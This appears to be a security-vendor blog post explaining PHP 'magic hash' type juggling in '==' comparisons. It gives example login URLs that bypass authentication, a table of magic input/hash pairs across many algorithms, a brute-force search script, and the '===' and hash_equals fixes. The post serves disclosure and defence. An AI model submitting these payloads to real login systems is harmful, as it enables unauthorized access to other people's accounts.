Tools and Applications-Vulnerabilities-Web Application Security

Magic Hashes

For more than the last decade, PHP programmers have been wrestling with the equals-equals (==) operator. It’s caused a lot of issues. This has a particular implication for password hashes. Password hashes in PHP are base16 encoded and can come in the form of “0e812389…”. The problem is in == comparison the 0e means that if the following characters are all digits the whole string gets treated as a float. This was pointed out five years ago by Gregor Kopf, two years ago by Tyler Borland and Raz0r and again a year ago by Michal Spacek and Jos Wetzels but this technique is making more waves this past week. Below is a list of hash types that when hashed are ^0+ed*$ which equates to zero in PHP when magic hashes typing using the “==” operator is applied. That means that when a password hash starts with “0e…” as an example it will always appear to match the below strings, regardless of what they actually are if all of the subsequent characters are digits from “0-9”. The implication is that these magic hashes numbers are treated as the number “0” and compared against other hashes, the comparison will evaluate to true. Think of “0e…” as being the scientific notation for “0 to the power of some value” and that is always “0”. PHP interprets the string as an Integer.

<?php

if (hash('md5','240610708',false) == '0') {

  print "Matched.n";

}

if ('0e462097431906509019562988736854' == '0') {

  print "Matched.n";

}

?>

What this practically means is that the following “magic” strings are substantially more likely to evaluate to true when hashed given a completely random hash (E.g. a randomly assigned password, nonce, file hash or credential). Likewise if a straight guess of a hash is required the associated hashes are proven to be typed into the float “0” with the “==” comparison operator in PHP, and if another hash in a database also starts with a “0e…” the comparison will evaluate to true. Therefore, the hashes can also be substantially more likely to evaluate to true when compared with a database of hashes, even if they don’t actually match. Many cookies, as an example are simply hashes, and finding a collision becomes much more likely depending on how many valid credentials are in use at the time of test (See: Birthday paradox). Use Case 1: Use the “Magic” Number below as a password or as a string that you expect to be hashed. When it is compared against the hash of the actual value, and if they both are treated as “0” and therefore evaluated as true, you will be able to log into the account without the valid password. This could be forced to happen in environments where automatic passwords are chosen for users during a forgot password flow and then attempting to log in immediately afterwards, as an example.

https://example.com/login.php?user=bob&pass=240610708

Use Case 2: The attacker can simply take the example in the Hash column in the table below and use it as a value. In some cases these values are simply done as a look-up against known values (in memory, or perhaps dumped from a database and compared). By simply submitting the hash value, the magic hashes may collide with other hashes which both are treated as “0” and therefore compare to be true. This could be caused to happen

https://example.com/login.php?user=bob&token=0e462097431906509019562988736854

Hash Type

Hash Length

“Magic” Number / String

Magic Hashes

Found By
md2 32 505144726 0e015339760548602306096794382326 WhiteHat Security, Inc.
md4 32 48291204 0e266546927425668450445617970135 WhiteHat Security, Inc.
md5 32 240610708 0e462097431906509019562988736854 Michal Spacek
sha1 40 10932435112 0e07766915004133176347055865026311692244 Independently found by Michael A. Cleverly & Michele Spagnuolo & Rogdham
sha224 56
sha256 64
sha384 96
sha512 128
ripemd128 32 315655854 0e251331818775808475952406672980 WhiteHat Security, Inc.
ripemd160 40 20583002034 00e1839085851394356611454660337505469745 Michael A Cleverly
ripemd256 64
ripemd320 80
whirlpool 128
tiger128,3 32 265022640 0e908730200858058999593322639865 WhiteHat Security, Inc.
tiger160,3 40 13181623570 00e4706040169225543861400227305532507173 Michele Spagnuolo
tiger192,3 48
tiger128,4 32 479763000 00e05651056780370631793326323796 WhiteHat Security, Inc.
tiger160,4 40 62241955574 0e69173478833895223726165786906905141502 Michele Spagnuolo
tiger192,4 48
snefru 64
snefru256 64
gost 64
adler32 8 FR 00e00099 WhiteHat Security, Inc.
crc32 8 2332 0e684322 WhiteHat Security, Inc.
crc32b 8 6586 0e817678 WhiteHat Security, Inc.
fnv132 8 2186 0e591528 WhiteHat Security, Inc.
fnv164 16 8338000 0e73845709713699 WhiteHat Security, Inc.
joaat 8 8409 0e074025 WhiteHat Security, Inc.
haval128,3 32 809793630 00e38549671092424173928143648452 WhiteHat Security, Inc.
haval160,3 40 18159983163 0e01697014920826425936632356870426876167 Independently found by Michael Cleverly & Michele Spagnuolo
haval192,3 48 48892056947 0e4868841162506296635201967091461310754872302741 Michael A. Cleverly
haval224,3 56
haval256,3 64
haval128,4 32 71437579 0e316321729023182394301371028665 WhiteHat Security, Inc.
haval160,4 40 12368878794 0e34042599806027333661050958199580964722 Michele Spagnuolo
haval192,4 48
haval224,4 56
haval256,4 64
haval128,5 32 115528287 0e495317064156922585933029613272 WhiteHat Security, Inc.
haval160,5 40 33902688231 00e2521569708250889666329543741175098562 Michele Spagnuolo
haval192,5 48 52888640556 0e9108479697641294204710754930487725109982883677 Michele Spagnuolo
haval224,5 56
haval256,5 64

To find the above, I iterated over a billion hashed integers of each hash type to attempt to find an evaluation that results in true when compared against “0”. If I couldn’t find a match within the billion attempts I moved on to the next hashing algorithm. This technique was inefficient but it was reasonably effective at finding a “Magic” Number/String associated with most hash algorithms with a length of 32 hex characters or less on a single core. The one exception was “adler32” which is used in zlib compression as an example and required a slightly different tactic. The moral of the story here is for the most part the more bits of entropy in a hash the better defense you will have. Here is the code used I used (adler32 required a lot of special treatment to find a valid hash that didn’t contain special characters):

<?php

function hex_decode($string) {

  for ($i=0; $i < strlen($string); $i)  {

    $decoded .= chr(hexdec(substr($string,$i,2)));

    $i = (float)($i)+2;

  }

  return $decoded;

}

foreach (hash_algos() as $v) {

  $a = 0;

  print "Trying $vn";

  while (true) {

    $a++;

    if ($a > 1000000000) {

      break;

    }

    if ($v === 'adler32') {

      $b = hex_decode($a);

    } else {

      $b = $a;

    }

    $r = hash($v, $b, false);

    if ($r == '0') {

      if(preg_match('/^[x21-x7e]*$/', $b)) {

        printf("%-12s %s %sn", $v, $b, $r);

        break;

      }

    }

  }

}

?>

I didn’t have to just use integers as found in most of the results but it was slightly easier to code. Also, in hindsight it’s also slightly more robust because sometimes people force the passwords to upper or lowercase, and numbers are uneffected by this, so using integers is slightly safer. However, in a practical attack, an attacker might have to find a password that conforms to password requirements (at least one upper case, one lower case, one number and one special character) and also is evaluated into zero when hashed. For example, after 147 million brute force attempts, I found that “Password147186970!” converts to “0e153958235710973524115407854157” in md5 which would meet that stringent password requirement and still evaluate to zero. To round this out, we’ve found in testing that a 32 character hash has collisions with this issue in about 1/200,000,000 of random hash tests. That’s thankfully not that often, but it’s often enough that it might be worth trying on a high volume website or one that generates lots of valid credentials. Practically this is rather difficult to do, thankfully, without sending a massive amount of attempts in the most likely instances. Note: there are similar issues with “0x” (hex) and “0o” (octal) as well but those characters do not appear in hashes, so probably less interesting in most cases. It’s also worth mentioning that “==” and “!=” both suffer from the same issue. Are websites really vulnerable to this attack? Yes, yes, they are. This will surely cause issues across many many different types of code repositories like this and this and this and this to name just a few. Similar confusion could be found in Perl with “==” and “eq”, as well as loosely cast languages like JavaScript as well. (Thanks to Jeremi M Gosney for help thinking this through.) I wouldn’t be surprised to see a lot of CVEs related to this. Patch: Thankfully the patch is very simple. If you write PHP you’ve probably heard people mention that you should be using triple equals “===”. This is why. All you need to do is change “==” to “===” and “!=” to “!==” respectively to prevent PHP from attempting to guess the variable type (float vs string). Some people have also recommended using the “hash_equals” function. WhiteHat will now be testing this with both our dynamic scanner and static code analysis for WhiteHat customers. If you want a free check please go here. This is rather easily found using static code analysis looking for comparisons of hashes in PHP. Lastly, if you have some computing horsepower and have any interest in this attack, please consider contributing to any value/hash pairs that we haven’t found samples for yet or for hash algorithms we haven’t yet listed.